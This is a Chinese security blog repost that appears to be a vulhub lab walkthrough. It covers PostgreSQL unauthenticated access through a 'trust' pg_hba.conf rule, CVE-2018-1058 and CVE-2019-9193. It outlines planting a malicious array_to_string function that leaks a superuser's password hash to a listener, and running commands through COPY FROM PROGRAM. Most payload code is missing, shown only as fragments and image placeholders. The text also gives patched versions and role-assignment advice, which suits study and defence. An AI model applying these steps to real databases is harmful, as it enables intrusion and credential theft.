美文网首页
PostgreSQL从未授权到高权限命令执行

PostgreSQL从未授权到高权限命令执行

作者: 苍简 | 来源:发表于2021-01-07 16:49 被阅读0次

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

******No.1******

PostgreSQL介绍

PostgreSQL(也称postgres)是一个自由的对象-关系数据库服务器(数据库管理系统),它在灵活的BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如 MySQL 和 Firebird),和专有系统(比如 Oracle 、Sybase、IBM的DB2和Microsoft SQL Server)之外的另一种选择。

PostgreSQL在国外的流行程度不亚MySQL,如msf的数据库就是PostgreSQL。但是如果管理员没有正确的配置PostgreSQL,则会导致任意用户无需密码都可以访问PostgreSQL数据库。

******No.2******

PostgreSQL未授权漏洞

漏洞原因

PostgreSQL配置不当漏洞的形成原因:PostgreSQL配置不当漏洞主要是由于管理员配置不当形成的,PostgreSQL配置文件在/var/lib/pgsql/9.2/data/pg_hba.conf,如果管理员没有正确的配置信任的主机(如下图),则会导致任意用户无需密码都可以访问PostgreSQL数据库。

这里简单介绍下pg_hba.conf配置文件,除去注释掉的部分,主要生效的配置内容就是上图红圈部分,解释下这行的意义:

图片
host    all     all     0.0.0.0/0       trust

host表示匹配类型,第一个all表示任何数据库, 第二个all表示任何数据库用户的访问,0.0.0.0/0表示任何ip地址访问本数据库服务,最后的trust表示对满足条件的主机免密码登录。

上述配置则导致:允许任何来源ip主机,使用任何数据库账户,免密码访问任何数据库,这将直接导致了数据库中所有数据泄露。

******No.3******

PostgreSQL 提权漏洞

(CVE-2018-1058)

通过vulhub搭建漏洞平台,登录到数据平台获取当前会话用户。
postgres提供了自定义函数的功能!我们创建如下函数:

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
图片

然后在1...**上监听7777端口,等待超级用户触发我们留下的这个“后门”。
用超级用户的身份执行pg_dump命令:

docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub

导出vulhub这个数据库的内容。

执行上述命令的同时,“后门”已被触发,1...***机器上已收到管理员MD5加密的密码:

图片

漏洞修复

以下版本修复了该突破

PostgreSQL PostgreSQL 9.6.8 

******No.4******

PostgreSQL 高权限命令执行漏洞

(CVE-2019-9193)

受影响版本

• PostgreSQL 9.3至11.2

其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

首先连接到postgres中,并执行POC:

DROP TABLE IF EXISTS cmd_exec; 
图片

解决建议

pg_read_server_files、pg_write_server_files、pg_execute_server_program 角色涉及到读写数据库服务端文件,权限较大,分配此角色权限给数据库用户时需谨慎考虑。

本文转载自:https://mp.weixin.qq.com/s/t7xn7h0B9RcNpaSuVS8_Vg

相关文章

网友评论

      本文标题:PostgreSQL从未授权到高权限命令执行

      本文链接:https://www.haomeiwen.com/subject/ifgzoktx.html